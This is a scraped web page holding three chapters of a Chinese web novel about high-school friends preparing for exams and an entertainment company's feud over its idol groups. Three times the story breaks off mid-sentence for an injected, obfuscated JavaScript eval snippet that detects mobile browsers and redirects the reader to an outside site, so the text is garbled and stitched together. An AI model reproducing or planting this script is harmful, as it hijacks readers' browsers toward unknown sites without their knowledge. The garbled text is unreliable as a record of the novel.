黄怀予和苏琬的节目直接被安排在了第一个。 马辉在旁边背着手走来走去,一副胜券在握的表情,好像这节目是他排的一样。 下午的时候,程朗和其他几个体育生就被马辉指挥去了黄怀予家里搬琴。电子琴也并不重,几个人扛着琴,一路收获一众目光投射,几人还招摇过市,差点把琴给摔了,被黄怀予狠狠骂了一顿。 苏琬也已经把小提琴琴盒提了过来。 …… “第一个节目,黄怀予和苏琬合奏,《梁山伯与祝英台》。” “大家掌声欢迎!” 程朗开始带头鼓掌,引发一阵乱七八糟的笑声。所有人都坐在台下,三三两两聚在一起,好奇期待地看着面前的两个女生。 黄怀予坐在教室正中间,微微侧身面对观众,面前摆着一架电子琴。苏琬面向观众,身姿挺拔,独自站着,手臂垂下,握着一把深棕色的小提琴。 钢琴声在教室正中央响起的那一刻,所有人都屏住了呼吸。 清脆的乐符,像春日山间清泉,一声一声叮叮咚咚敲击在人心上。 小提琴悠扬婉转的声音在断拍后响起,主旋律如同洁白悠远的丝绸,弦弦轻柔,声声揉碎进空气里,两道旋律缠绕蜿蜒在一起,紧紧纠缠,天生不同又仿佛生来就是如此合拍。 像是诉说,像是缠绵,像是窗前纷纷扬扬的雪,像是缓缓握紧的温暖手心。 轻轻柔柔,飘飘散散,却在间隙后骤然间如同山河大川奔涌向前,激扬愤慨,钢琴声重重敲下却迅速变换有力,小提琴声如泣如诉,瞬间在尖锐的高声区悲壮地轻颤,惊惶、果断、悲壮,激烈的力度和节奏快速切分,宣泄出悲壮与愤怒。 就在所有人都被这风雨欲来的激烈冲突吸引得屏住呼吸时,钢琴和小提琴却又重新回归轻柔安宁,声声旋律仿佛宣告故事最后的大结局,梦境迷漫,蝶飞幻舞。 …… 两人一坐一站,没有任何眼神交流,却又合拍之极,所有的话语和所有的情感都通过指尖倾斜而出,汇聚成小小却绵长的溪流。 轻柔婉转的结局,两人却极其默契地演奏出了宏大与广阔,没有悲伤也没有怨愤,像是重获新生,像是高山大川,像是迎着明天永远会升起的太阳。 “山伯后为鄞令,病死,葬鄮城西。祝适马氏,舟过墓所,风涛不能进,问知山伯墓,祝登号恸,地忽逢裂陷,祝氏遂并葬焉。” 为了自由,为了价值,为了意义,为了永远追求。 平静之后,教室里终于慢慢响起掌声。同学们像是终于回过神来,热情激烈地鼓掌。 一曲终了。 苏琬仍站定不动,久久都还保持着拉琴的姿势。 掌声终于慢慢平息,苏琬眼睫颤动,缓缓放下了肩上的小提琴,往台下望去——一眼就撞进了那双狭长的眸子里。 谷奕就坐在台下第一排,人群中高大得显眼。周围人笑得开心,热烈鼓掌,他却呆滞地看着她,黑亮的眸子里闪着细碎的光,像是夜空无数的星。 他流泪了。 苏琬愕然一瞬。 谷奕像是突然被发现,有些慌乱地躲开苏琬的目光注视。 可是才转过去两秒钟,他又咬着唇,小心翼翼地再次朝苏琬看了过来。 眼尾一抹红,眼中湿润,原本狭长的眸子此时却圆润清亮。 小心翼翼的试探。混在人群里的紧张。躲闪开又忍不住的情难自禁。 * 五六个节目全部表演结束了,大家嘻嘻哈哈打成一团。 马辉倒是很有眼力见地先离开了,他一走班上更热闹了,班长指挥大家把桌子搬成了两大半,一半用来包饺子,一半用来写毛笔字。 ——虽然大家都不知道为什么这两种明明是春节的习俗却要在元旦做…… “因为我们春节就放假了,见不了面呀。” 班长把一袋饺子皮扔在桌子上,理直气壮地回答道。 大家自觉分成好几拨,想包饺子的去集中洗手,想写字的挽起袖子在长桌边研究笔墨,剩下还有人在角落里聚众打游戏。 谷奕扭扭捏捏跟在苏琬后面,认真洗好了手,凑到饺子桌前。 “我不会。能教我吗。” 苏琬点点头,“可以。你先看我包一个。然后你模仿。” 苏琬包出了一个堪称完美的饺子,轻轻放在盘子里,旁边两个同学七嘴八舌地惊呼:“你好厉害!” “……”谷奕高大的个子缩在桌边,左手极其违和地拿着一张饺子皮,右手全是面粉,十分笨拙地看一眼苏琬的饺子,再动一下手里的面皮和肉馅,反复看了好几个来回。 两只平时打篮球极其有力的大手,却对软趴趴的面团一无所知,忙活半天,最后终于捏出了一团巨大的未知物品。 他沮丧地放下,未知物品在苏琬小巧精致的饺子旁边没精打采地躺着,像一个长得极丑的庞然大物。 苏琬看他一眼,见他低垂着头,敛着神色,浓密的睫毛垂下,满脸无精打采。 “你以前包过吗?” 他摇摇头。 额前的黑色刘海随着他摇头的动作轻轻晃动,堪堪遮盖住他英挺的眉眼。 他慢吞吞开口: “在我印象里,饺子就是已经煮好放在盘子里的。” “……我都没见过,生的。”他琢磨了一下,换了一个词,“尸体。” 苏琬笑出来。 “那我不仅见过尸体,我还见过长在地里的白菜,刚切下来的猪肉,袋子里干巴巴的面粉。” “然后一步一步切白菜,剁肉,和面,包饺子,煮熟。” “最后端给你。” 说到这里,几个月以前的一些回忆突然涌入脑海,自己母亲被谷奕雇佣当护工的事情不自觉被她联想到。 “你有钱,可以雇我。你就可以永远都看不见尸体,直接一步到位看见已经煮熟的饺子。” 她语气轻松。 说完,却见旁边高大的身影半晌都没说话。 …… 苏琬被其他同学拉去指导包饺子,她教了一圈,等回来的时候,已经差不多过去了二十多分钟。 她低头一看,却讶异地发现盘子里已经多了三四十个新的饺子,已经装了满满一盘。 第一个就是她包的完美饺子。 第二个是谷奕包的庞然大物未知物体。 第三个第四个第五个……依然看不出是饺子,但是似乎终于可以站住了。 随后之后的每一个都越来越像饺子,形状越来越精准,大小也越来越适中,边缘也不再有肉馅溢出来。 直到最后一个。 ——一只沾满面粉的大手迅速从旁边伸出来,轻轻捏住了最后一只包得已经非常完美的饺子,如获至宝般捧在手心里,拿到苏琬眼前。 她愣神,隔着手心,抬头看到谷奕认真的眉眼。 “学会了。” 他眼睛亮晶晶的,鼻尖还沾着一小团不知道从哪里蹭的白色粉痕,教室暖气温度高,他双颊红红,嘴角轻扬。 “我才不要雇你。” “我们一起包不就好了。” “不过如果你是因为想要我的钱……那你直接拿就好了。” …… 面前少年身形高大,一贯锋利的眉眼却柔和无比,神色认真,像是说着最真心的话,没有半点掺假和杂质,也不用任何思考和权衡。 苏琬心头猛猛一跳。 * ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13623980|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黄怀予已经在毛笔桌前踌躇已久。 这些东西是班长拜托杨捷去买的,杨捷上周末去市内买了春联、信封、明信片,甚至还有那种硬的小木板,套上了五颜六色的绳,可以挂在门框上的,像那种景区桥上挂的情侣写名字的小木板。 只要是好看的能往上写字的,杨捷全都买了很多回来。 杨捷在她旁边,已经拿起了一根细毛笔,跃跃欲试。 “杯子,你准备写什么?” “还没想好。” 她随手抓起一张大红色的四四方方的油纸,比划了一下大小。 “这纸看着有点小啊,能写几个字?” 杨捷看了一眼。 “老板跟我说,这是那种写大字的,写四个字以内就差不多了。” “四个字……”黄怀予歪头想了想,“熹贵妃安?” 杨捷噎了一下,开始爆笑。 “这是用来表示你对新的一年2018年的美好祝福啦!” …… 美好祝福? 她想好了,把纸铺回桌上,随手拿起一只毛笔,沾了沾墨汁,直接下笔了。 黄怀予没学过书法,但是能依葫芦画瓢,她写出来的字内行一看全是问题,但是给外行看都能唬住。 “写好了!” 刷刷几下大笔一挥,她就满意地收起了袖子。 杨捷凑过来。 只见红色的四方纸上用纯黑色墨汁写了四个大字,上下左右各一个,浓墨淋漓,纵横交错: ——“文科状元”。 “怎么样!” “是不是美好祝福!” 杨捷给她竖个大拇指,“鸿鹄之志。” 黄怀予心里美滋滋,越看越满意,立刻就把这幅墨宝小心放回自己桌上放干,决定带回家贴在自己房门。 回过身,就看见苏琬和谷奕两个人朝自己走过来。 “写啥了?” 黄怀予得意地指给他看。 谷奕看愣了,“杯姐,你还真是什么都会啊,又会画画又会弹琴还会写字。” “哎。小镇做题家,小时候什么都学过一点,就怕以后成绩不好,留了条艺术生的后路。” “不过……我妈如果十年前就知道人家艺术生这么烧钱,一定想都不会想这条路。” “她现在,穷得叮当响。” 她叹口气。 “好在,我确实很给她省钱。” 苏琬看了一眼那四个字,笑着拍拍她,“一定可以实现。” 谷奕越看越觉得好看,来了兴趣,“杯姐,你能给我也写一张吗?” “行啊。” 黄怀予心情极好,带着两人走回长桌边,大笔一挥又写了两张。 “给你们俩的美好祝福。” ——“必上一本”,给谷奕。 ——“江大法学”,给苏琬。 两个人正在旁边欣赏,黄怀予心念一动,低着头,没忍住又写了一张。 “我们来拍照吧!” 苏琬笑着把手机递给杨捷,然后拉着黄怀予和谷奕,要手边的红纸也入镜。 “哎?这怎么还有一张?” 两人纷纷看向一边的黄怀予。 “……哦。”黄怀予挠挠头,看向别处,“顺手写多了一张。” “就当是,给另外一个人的。”她小声说。 “来看镜头——”杨捷举着手机,笑着喊,“三——二——一——茄子!” 苏琬站在中间,捧着那张“江大法学”,眉眼温婉。谷奕站她左边,左手举着那张“必上一本”,歪着头做了个鬼脸。 黄怀予站在右边,左手拿着“文科状元”,右手悄悄地对着镜头露出了第四张红纸。 同样是四个字,龙飞凤舞,一气呵成。 ——“祝你开心。” 90. 第 90 章 新娱公司家族综艺播到了最后一期,将结算之前所有的舞台视频播放量,并且结合最后一期现场投票结果,决出冠军。 最后一期的舞台表演终于回到了本组,MOON呈现出了一个极具创意的舞台剧形式的舞台,完美契合主题,氛围渲染和故事背景全都令人耳目一新。 最特别的是,沈一瑾作为Center,这次特意为了舞台挑战自我,讲了大段的台词,并穿插了一段难度极大的舞蹈。 加更版本中,镜头记录下了她日日苦练的过程,勇于挑战自己不熟悉的领域,而队友也一直在身边给予鼓励,几个小姑娘累到在洗手间里抱头痛哭,哭完又擦干眼泪回去继续练。 最后呈现出来的舞台效果令人印象深刻,特别是沈一瑾独自在场上的三分钟大段台词全程语气清晰情感充沛,一下子就将观众代入到了故事情境当中。舞蹈也是完美完成,终于攻克了之前练习中永远也做不到的难点。 ——下台之后,MOON手牵手抱在一起,这珍贵的感情流露的一幕也被记录了下来。 当晚,MOON拿下冠军,沈一瑾也不负众望拿下单人冠军。 …… 最后一期热度还算高,当晚立刻上了两条热搜,全都是MOON和沈一瑾。 明红立刻让MOON官博发了下个月成员日程表,显示马上下个月沈一瑾就会进新的组。这一条还在图片中标红标粗,微博也带上了“MOON夺冠”的热搜词条。 此外,行程中还有综艺冠军可以得到的团体广告拍摄以及沈一瑾单人广告拍摄。 这条微博一下子突破了万转,许多路人都纷纷来留言。 “恭喜美女!” “看了总决赛,台词意外地还行,演戏也挺有眼缘的,演一点小言偶像剧也挺不错。” “MOON真的算难得有团魂的团了。” 而某八卦论坛上那条精品帖,终于也再次复活。 “今夜瑾粉请狂欢。” “下个月又进组了,是谁又爽了。” “听说新剧男主搭的隔壁程越,感觉颜值挺不错的,预感会爆。” 至此,这部综艺在明红眼里已经完整完成了任务。 * 沈一瑾没想到会在公司练习室走廊里碰见赵焰。 或者说,应该是赵焰主动来找她的。 赵焰从第一期开始就指望利用这个综艺好好增加曝光度,从选择陆橙、选择Levi以及让顾安和楚恒分到一队,他每一步都算计好了——他以为他的对手是楚恒,却没想到,这场持续了几个月的综艺里最大的受益人,居然是沈一瑾。 男女本身赛道就不同,沈一瑾在他眼里只是用来增加热度的工具,却没想到,从一开始这就是明红和沈一瑾的计划,他和其他人才是被用来凑数的工具。 三番两次被沈一瑾截胡,所有风头都被她一个人抢走了。 偏偏明红本人还多年都保持中立,这个综艺还搞了一个“增加全公司所有参赛组合曝光度”、“CP增加热度探索年轻偶像市场”的巨大噱头,到最后贾威都无法说什么。 …… 他此时看上去脸色阴沉。 “倾尽全公司之力捧你一个人。”他咬着牙,眼里迸射出妒忌,“看来你粉丝认知很清晰,‘皇族’这个称号应该给你最合适。” “……”沈一瑾握紧拳头,强迫自己抬眼看着他。 如果是以前的沈一瑾,也许早就跑开了,或者涨红着脸辩解。 可是,这几个月以来,沈一瑾跟着明红见了好几位制片人和导演,进了两个组,努力学习了之前不了解的表演,认真完成了公司综艺的所有拍摄,最后成功完成了所有舞台的录制—— 她平静地说: “不是因为捧我,我才有热度。是因为我有热度,所以才捧我。” “第一期和陆橙一起搭档是你自己选的吧?可是你第一天排练就迟到,陆橙才跑到我们练习室拍了那个视频。没人想到那个视频能火。” “第二期和Levi搭档也是你自己选的吧。可是第二期我和SOLAR师姐搭档没有借助任何外力。就算我的粉丝可以给我投票刷播放量,可是点赞量大部分都是路人数据,只看舞台你依然比不上我。” “是否是皇族,我们两个在这里争论这些没有意义,毕竟我们都被投入过资源。我也无意和你比什么基础粉丝多少,这不是我的本意。” “我只是想说,面对同样的资源,后续能怎么发挥全靠你自己。但很显然,你的行为和态度配不上给你的资源。” 她说完,果然看见赵焰脸上青一阵白一阵,怒火中烧。 “少在这里给我讲大道理!你装什么装!” “说破天也不过是一个女人,就算投在你身上也是浪费!” 沈一瑾神色一凝,骤然直视着他,“你什么意思。” “什么意思?我看你是为了楚恒吧。为了给他报仇?对吧。不然你一个女人哪来那么大的野心?” “我劝你少费力气,你以为你现在很火吗,本质上只是你和男的不在同一个赛道罢了。我只是缺少机会,没有曝光,不然你以为还有你的今天吗!” 沈一瑾用力捏紧拳头,秀气的眉狠狠拧起来。 她气极反笑,突然觉得和眼前这个人解释再多都没有意义。 于是她呼出一口气,抓住赵焰最憎恶别人议论他的点,一字一句地说: “那你可要好好利用你舅舅的资源。不然我担心饭都喂你嘴边了,你还像今天这样糊穿地心,这辈子都火不了。” 说完,再也没看赵焰难看的脸色,转身离开。 …… 公司会议上。 低气压却笼罩着桌前的所有人。 “关于下一次STAR新专辑的筹备,我依然坚持我原来的想法,可以尝试转型回刚出道的路线。” “既然已经转型了,为什么又转回去。” “我希望可以争取下一次的策划权回到我们自己的团队手里。” “人手不足,不合适。” “STAR整体在其他影视领域的发展和规划……” “这一部分会由胡权副经纪人负责。” 会议室里其他人大气都不敢出,空气冷到极点,大家眼观鼻鼻观心看着面前梁吟东和贾威平静话语中藏都藏不住的针锋相对,只能屏息。 说是针锋相对,也不准确——毕竟大家都看得出来,梁经纪人提出的所有要求,都被贾总经理用各种理由回绝了。 “跨啦——”会议室的门突然被打开,一位身材瘦小的老人走进会议室,身后还跟着一群西装革履的人。 那一瞬间,会议室里所有人迅速起立。 贾威立刻站起身,躬身去门口迎接。 “董事长。” “嗯。” 老人点点头,在众人目光下走进来,坐下。 董事长的突然出现让会议室里的气压更低了。 “刚刚讲到哪里了,继续。” 贾威清清嗓子,说道: “上周刚刚结束的公司综艺算是我们对于唱跳偶像市场的一个新的开拓和探索。根据表现结果和市场分析结果来看,我认为,公司现在完全没有必要做偶像团体。” “对于公司现在所有的男女偶像团体,都可以开始转型了。” “梁经纪人刚刚说的新歌……都可以不用考虑了。” “而对于已出道团体里面比较突出的个人,应该优先满足个人发展,在符合后续发展方向的前提下多培养影视资源。” 什么? 所有偶像团体? 梁吟东一震。 贾威从心里就一直觉得唱跳偶像没有市场没有前途,从一开始就是反对公司做偶像的。尽管SOLAR和MOON的成绩都还不错,但是他一直都坚持把重心放在演员和歌手培养上。 如果是像MOON和STAR这样已经出道三年以上的团,当然可以开始考虑慢慢积累影视或者其它领域的资源。 但是公司后续还有新团出道企划,还有无数练习生每天都在经过层层筛选,如果是这样,那新娱公司做偶像团体就没有任何意义。 更何况,贾威的意思很明显——STAR可能再也不会有新歌了,形同解散。新娱公司以后也不会再有任何偶像团体出道计划。 她立刻说: “就算要转型,也要再等两年。” “如果全部都直接按照演员或者歌手做,那我们做偶像团体还有什么意义?之前STAR三年里的努力都可能白白消失。” 贾威看她一眼,话里带着不屑,“国内唱跳偶像市场就这么点,能做出什么结果?” 梁吟东立刻回答:“就是因为没有市场,我们才要去拓宽市场,这才是新娱公司三年前决定启动STAR的初衷不是吗?更何况,这次公司综艺的播出和网上舆论结果已经证明了年轻偶像仍然有很大的潜力和讨论空间。” …… 新娱公司内部关于这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13639170|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问题的讨论倒是由来已久。 好几个经纪人都支持梁吟东的观点。梁吟东是直接和艺人、市场进行接触的,知悉粉丝和舆论心理,期望通过试验和尝试实现市场开拓,在这个长期目标下有损失都是可以接受的。 然而贾威多年来一直都从事艺人管理和公司经营方面的工作。对于一段时间内无法产生收益的项目,一旦发现不对就会立刻砍掉,不会考虑长线发展。 ——或许,这样的相互制衡的双头领导体制,就是董事长一直想要的。 所有人不由得都看向了人群中心那个低头翻看桌上文件的头发花白的老人。 办公室里空气静止了十几秒。 那位成为全场视线和焦点中心的老人平静地翻看完了桌上的文件。 最终,他沉吟: “我需要时间考虑。” * 结束了一天的课程和练习,楚恒回了宿舍。 洗过澡之后周身都带着凉气,头发吹得半干,一向整日里做造型的头发此时却软软地垂了下来,覆盖住带着冷气的眸,把他眉眼间的淡漠也衬得柔和许多。 昏暗的房间里点着一小盏灯,他的脸被手机屏幕幽冷的光照亮。 脑子其实并不清醒,但是手指已经极其熟悉地点开了她的微博。 像一串乱码一样的名字,没有任何会员装饰的主页,看不清脸只是一群女生躺在草地上厮混的头像,以及乱七八糟的内容。 前一天可能还是一连串打了十几个哈字,用来表示看见谷奕在球场上装逼结果差点摔一跤的嘲笑;第二天就是疯狂大骂特骂今天做题又不在状态,以及又没抢到食堂的热干面。 早上抱怨教室在一号教学楼五楼有多么难爬,晚上就兴冲冲分享和苏琬一起讲马辉准备要二胎的私人八卦。 一天最多的时候能发三条,就算是校门口一只叫做“小楚”的流浪狗今天多吃了一根火腿肠这样的小事也要隆重而正式地发送一篇100字以上的感想和记录。 中间夹杂着大量的转发抽奖,还真的中过一次,中了三盒梦想牌笔芯,高兴得在评论里发了五排的“啊”。 最新动态是发送了一条视频,她和苏琬在教室中间的空地上钢琴和小提琴合奏《梁祝》,手指在琴键上飞舞,眉头顺着重拍按下的瞬间微微蹙起来,在悠扬的乐曲里缓缓睁开湿漉漉的眼睛,简简单单穿着一件白色毛衣却像在闪闪发光。 还有许多学习间隙对于政治历史问题的思考,穿插许多专业名词,大段叙述着自己白天从某一本书上看来的观点,以及和文综老师讨论的结果。 ——倾吐欲源源不断,侃侃而谈,引经据典,不在乎地向这个世界的所有人表达自己的想法。 楚恒修长瘦削的手指一页一页地向下滑。 头越来越沉重,他却一点也不想放下,近乎有点疯魔地看着她发出的每一个字。 …… 眼前密密麻麻的文字中间,突然闪过一张照片,晃了一下眼睛。 他顿住,这才发现,已经往前翻到了2016年6月。 “好热!今天拉苏琬一起下楼跑步了。她太瘦了!我感觉一掐胳膊就要断了,绝对不行!要让她变得健康。” “李唯艺还问我天天跑步,小腿会不会长肌肉。我说得了吧,你以为你是生物书上的蛋白质女王啊。” “照片苏琬给我拍的,说这一幕后面的背景天空特别好看!” 配图是一张照片。 未点开的时候,大面积的色块凝结在一起,模糊中却能看见,是一个人在操场上走路的背影。 画面中间,隐约看见两条又长又直的腿。 楚恒一怔。 修长的手指有些抖,点开那张图片。 四角瞬间放大到手机整个屏幕上,颜色组合很显眼,红色的塑胶跑道,绿色的足球场草皮,上方湛蓝的天空,以及画面正中间一个少女修长高挑的背影。 夏天热浪蒸腾,穿着牛仔短裤,却由于走路时的动作微微有些上卷。 下方,两条纤细笔直的腿。 小腿很长,走路发力时显出有力的肌肉形状,健康而饱满。 扎眼得白。 …… 楚恒愣怔三秒。 然后锁上手机屏幕,闭上眼睛。 又睁开。 解锁。 盯着屏幕看了几秒。 又重重地按下锁屏键。 …… 他用力蒙上眼睛,呼吸变得粗重起来。 91. 第 91 章 成群结队的麻雀在楚门一中一号教学楼的窗前并排排列,从窗户往外看出去,只能看见楼下随风飘扬的红旗,以及被杂乱黑色电线切割得乱七八糟的天空。 太阳不咸不淡地升起,一天一天。 谷奕仍然每天都被苏琬严格安排执行着“攻克90名”计划,跟着苏琬和黄怀予一起半死不活地学习。 所以现在黄怀予每天学习间隙的乐趣,除了给5.5写备忘录,就是躲在一旁观赏谷奕被苏琬折磨得生不如死的样子。 今早六点四十五分,又看见谷奕眼睛都睁不开地跟着苏琬走进教室,一边打了一个巨大的哈欠,一边拎着两个鸡蛋灌饼。 旁边的同桌杨捷凑到黄怀予耳朵边嘀咕: “要是谷奕这么累,休息会不行吗?” 黄怀予哼了一声。 “你没懂。” “你还在第一层。” 杨捷顺着黄怀予手指的方向看过去,只见谷奕哈欠未停地把手里一个鸡蛋灌饼递给苏琬,苏琬正准备去拿的时候谷奕又把手收回来,被苏琬瞪了一眼以后又嘻嘻哈哈地重新递了出去。 “没说安全词,那就是不要停。” “人家乐在其中呢。” …… 旁观者黄怀予还在今天中午收到了一个电话。 说实话,看见“苏明阿姨”四个字在手机屏幕上闪烁的时候,她是慌了几秒的。 她大概知道这通电话的目的。 ——当你还在上高三的女儿突然每周都给你打三千块钱并且怎么都不愿意告诉你钱从哪里来的时候,你大概已经把全世界最糟糕的结局全部都想象了一遍了。 “小予,苏琬最近在干什么。” 对面语气平静,开门见山,没有任何寒暄,直入主题。 “说实话。”她强调了一遍。 黄怀予挠挠头,演技已经从声音延续到了动作和表情上,看上去好像她真的很不确定。 “好像是做家教赚的吧。” “不可能。她之前做家教一个星期才八百块。” “她换地方了呀。现在这个顾客愿意给她三千块。” “什么顾客能一周给三千块的补习费?” “哎阿姨,天下之大无奇不有。”黄怀予露出一点点笑,“您之前当护工不是也做过一个星期六千六的大单子吗?” ……对面一下子被她噎得没声音了。 …… 黄怀予用人格向苏明担保,苏琬绝对没有被骗,也没有影响学习,甚至她现在学得更认真了,使命感比以前还多了一层。 黄怀予这人虽然看着不着调还有点叛逆,但是从小到大在成绩和其他所有才艺的学习上都一直算得上“别人家的孩子”,就算贪玩脾气犟,但是也从来没耽误过正事。 所以她这人在家长那里普遍还算得上一个正面人物。 苏明在黄怀予百般担保下终于放了心。罢了,只要对苏琬没有坏影响也就罢了,剩下的,孩子大了,她也不可能管一辈子。 黄怀予和苏琬在之前11月和12月左右的时候都已经拆掉了石膏,恢复得很好。苏明想来想去,狠心辞掉了一份工作,每天下午都回家做饭给苏琬送过去。 ——当然,一定做的是三人份。 “还有不到半年就高考了。” “外面买的终究没有自己做的放心。” 谷奕在校门口接过苏明递过来的超大保温盒的时候,瞪大了眼睛。 “这么多?我们吃不完咋办。” 苏明摆手,“不多,不多。” “吃不完给小予,小予吃得完。” “……” 学校不准其他人进,谷奕和苏琬就下楼来在校门口接过苏明送来的饭盒。他看着对面的苏明,有几个月没见了,相较于之前她似乎更放松了些,头发随意扎成低马尾,白色T恤灰色长裤,脸上笑容也多了些。 谷奕透过透明盖子朝里面看了看,依然是色香味俱全的家常菜,荤素搭配,令人看了就食指大动。 他听苏琬说,苏明最近辞了一份工作。 谷奕接过饭盒,饭菜的温度透过饭盒传达到他手心。他不知道什么那一刻就想到了自己的妈妈。 谷玉不会做饭。 所以也从来没有做饭给他吃过。 但是她会请很多很多的家政阿姨和顶级大厨,付钱让这些人做饭。 谷奕隐隐约约觉得,这两位母亲虽然看上去天差地别,似乎完全生活在两个不同的世界,但是好像都十分自然地就这样存在于这段看不见的雇佣关系中,用不同的方式当着母亲。 …… 苏明冲着两个人摆摆手,转身离开了。 坐公交车回楚港区要四十多分钟。 晚高峰,公交车逼仄拥挤,人贴着人,晃晃悠悠走走停停。 苏明下车时,太阳已经落山,天幕已经低垂。 “苏姐,下班了?”家门口小巷的女人冲她打招呼。 “没呢,辞了。” “哟!抹斯辞了啊!”女人凑过来用楚门话小声说,“以后琬琬读大学学费怎么办啊?” “慢慢赚。”苏明看着远方快要完全掉下山头的太阳,还剩一点点火烧般大红色的尾巴,染红了最后一层云,“总能赚到的。” “这倒也是,一个大活人还能被钱难死,慢慢赚呗!” “不过,你没上班那你刚刚去哪了啊?” “去一中。给苏琬和她同学送饭去了。” 女人一愣,不由得咋舌,“够远的啊!你打算每天都去啊!你真有耐心!” 她又想到了什么,开始长吁短叹: “不过,你家琬琬成绩那么好,要是我我也愿意送饭!不像我家那个,还给他送饭,美得他哦……还是你家琬琬有出息噢!” “嗯。”苏明看着远方山边最后一点落下去的残霞,喃喃,“我姑娘有出息。” 苏明好像如释重负般笑了出来。 “我姑娘有出息。” * 1月25号,又到月考。 谷奕坐在考场里,撑着脑袋,右手转着2B铅笔,看着前方黑板上的时钟。 监考老师一列一列发卷子,满教室全是“刷刷刷”的纸张摩擦声,他却觉得心里无比平静。 如果要细揪原因,谷奕想,也许是这几个月里已经不知不觉把“做题”这件事做到极其熟悉了。 他觉得好像做了好多好多题,背了好多好多个单词,抄了好多好多篇议论文。 ——可是,满打满算,他才转来楚门一中五个月。 黄怀予和苏琬已经像这样学了两年多了。九百多天,日日夜夜。 高考到底是什么样的? 谷奕在答题卡左侧一笔一划写下自己的名字,想着这个可能永远也不会有答案的问题。窗外麻雀叽叽喳喳,少年的心在满教室“沙沙”的写字声里沉默冷静地煎熟两面。 …… 三天后,成绩出来了。 一群人迅速围住白板踮着脚看成绩表的时候,谷奕还趴在课桌上有一搭没一搭地背政治。 下一秒书就被人用手遮了起来。 谷奕抬头,看见面前一左一右两个女生期待的眼神。 “还不赶紧去看看!” “……等会吧,现在人太多。”谷奕无精打采打了个哈欠,又把书竖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13656005|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来,撑着脸喃喃,“纸币不是货币,硬币是纸币……这说的是人话吗?” 下一秒书直接被人抽走了。 谷奕懵懵地抬起头,对上那两人急切的脸,“你们俩怎么比我还着急……” “我是为了看热闹。”黄怀予搂住苏琬的脖子,“这位是为了客户服务。” 三个人等白板前面没人排队了,才推推搡搡挤过去。 苏琬直接一眼精准定位整张成绩表中间偏上的位置。 ——“谷奕,班级排名18,年级排名83。” …… 三个人静默一瞬,爆发出巨大的吸气声。 “卧槽!”黄怀予和谷奕异口同声大喊。 “83啊啊啊啊啊啊!” 黄怀予用力拍谷奕的手臂,拍着拍着太激动还用力捏住大力地晃,下一秒就听见旁边传来轻轻的嘶气声和带着笑意的话: “杯姐,下手轻点。” 嘴上说着让下手轻点,但是谷奕一副任由黄怀予用力左右晃他的手臂的样子,反正也并不疼。他垂下眼睫,大着胆子去看右边,果然撞进了苏琬那双亮晶晶水灵灵的眼睛里。 她眉眼舒展开,嘴角微微扬起,正直勾勾地看着他,笑容好像春风拂面,一双杏眼里闪着点点细碎欢愉的光点。 她面向谷奕,把右手竖着举到他面前,伸出了右手手掌,带着鼓励的笑,看他。 谷奕愣怔一瞬,在那一瞬间猜到了她的意思,垂在身侧的右手缓慢而犹疑地动了一下。 可是他又有些不敢确定自己的猜测是不是自作多情,于是好几秒钟右手都没抬起来,只是犹豫无措地在身侧收紧成松松的拳头。 可是下一秒,他就看见苏琬嘴边的笑意似乎大了一些,歪了歪头,又冲他晃了晃手掌。 “不拍吗?” 她说。 …… 谷奕的心狠狠撞了一下。 “……拍!”他慌里慌张地抬起右手,不轻不重地迅速拍了一下她的手掌。 掌心对掌心,肌肤接触的地方传来瞬间相触就已经传导过来的温度,只那一秒就立刻离开,只剩掌心中因为对撞而微微发麻的沉默叫嚣。 苏琬看见,眼前少年的脸“刷”地一下就迅速全部红了,烫手般收回右手,别过脸去,看着白板上的成绩表,自作镇定地说:“不看看你们的吗……不看看你们的成绩吗。” “你们肯定也进步了吧。对吧比如杯姐,上次年级第七,这次肯定第六了。” 他躲闪着说。 “真的吗?借你吉言啊大傻!我都万年第七了!” “真的感觉第七是个魔咒……这次我看看能不能像你一样突破自我,变成第六!” 旁边传来黄怀予兴冲冲的叫声,苏琬知道这是她的心里话,只是她平时很少说出来。黄怀予年级第七这个名次已经得过很多次了,是迄今为止最好的名次,只是好像无论怎么努力也无法更进一步了。 只是下一秒那声音就停住了。 苏琬心里一动,垫脚抬头看去。 ——第一行白纸黑字赫然写着:“黄怀予,班级排名1,年级排名7。” 苏琬皱了皱眉,随意瞥了一眼第二行:“苏琬,班级排名2,年级排名9。”就立刻匆匆回过头去,去看黄怀予的表情。 却见她只是愣怔一下就立刻恢复了那副轻松散漫的脸,懒洋洋地说:“好吧,没成功。” “前面的人……好像那种永远也翻不过去的大山啊。” “不过往好处想,起码没有掉下去。” 